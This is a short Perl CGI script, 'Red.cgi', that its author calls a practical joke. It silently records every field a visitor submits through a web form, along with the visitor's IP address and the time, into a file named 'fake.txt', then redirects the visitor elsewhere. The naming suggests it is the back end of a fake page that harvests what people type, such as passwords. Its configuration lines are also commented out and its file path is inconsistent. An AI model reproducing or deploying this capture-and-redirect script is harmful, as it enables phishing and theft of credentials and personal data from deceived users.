#!/usr/bin/perl ################################################################################ # Red.cgi V0.1 # # # #By James R Addis (jamesradis@hotmail.com) # # # #Created as part of a home project and a practical joke ;> #Please contact me if you have any questions about this #small program #To be used on a webserver and with a webpage with forms if #you have #a good idea of html ect you will know how to make it all #work # # chmod +x this file and stick it in your cgi-bin directory # ################################################################################ # Set-up / Varible Settings # # #$Redirect = "http://192.168.1.1/redirect.htm"; # Direct to #url after runing ## #$File = '>>/tmp/FakePage.txt'; # Where to #save data ## #$LogTime = 1 ;#What time data came in: 1=ON 0=OFF # #$LogIP = 1 ;#What ip did data come from: 1=ON 0=OFF # # ############################################################################### {# Main Gubins of the program read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value; }} {#Logging switches $apple1 = 1; if ($apple1 == $LogTime){ $timestamp = scalar(localtime); }else{ $timestamp = Offline; } $apple2 =1; if ($apple2 == $LogIP){ $Poster= $ENV{REMOTE_ADDR}; }else{ $Poster = Offline; } } {# Logging data open (MYFILE, '>>/tmp/fake.txt'); print MYFILE "Logged at: $timestamp\n"; print MYFILE "Originated from:$Poster\n\n"; foreach $key (keys(%FORM)) { print MYFILE "$key = $FORM{$key}\n"; print MYFILE "------------------------------------------\n"; } {# URL lark print "Location: $Redirect\n\n"; #go to url }} exit;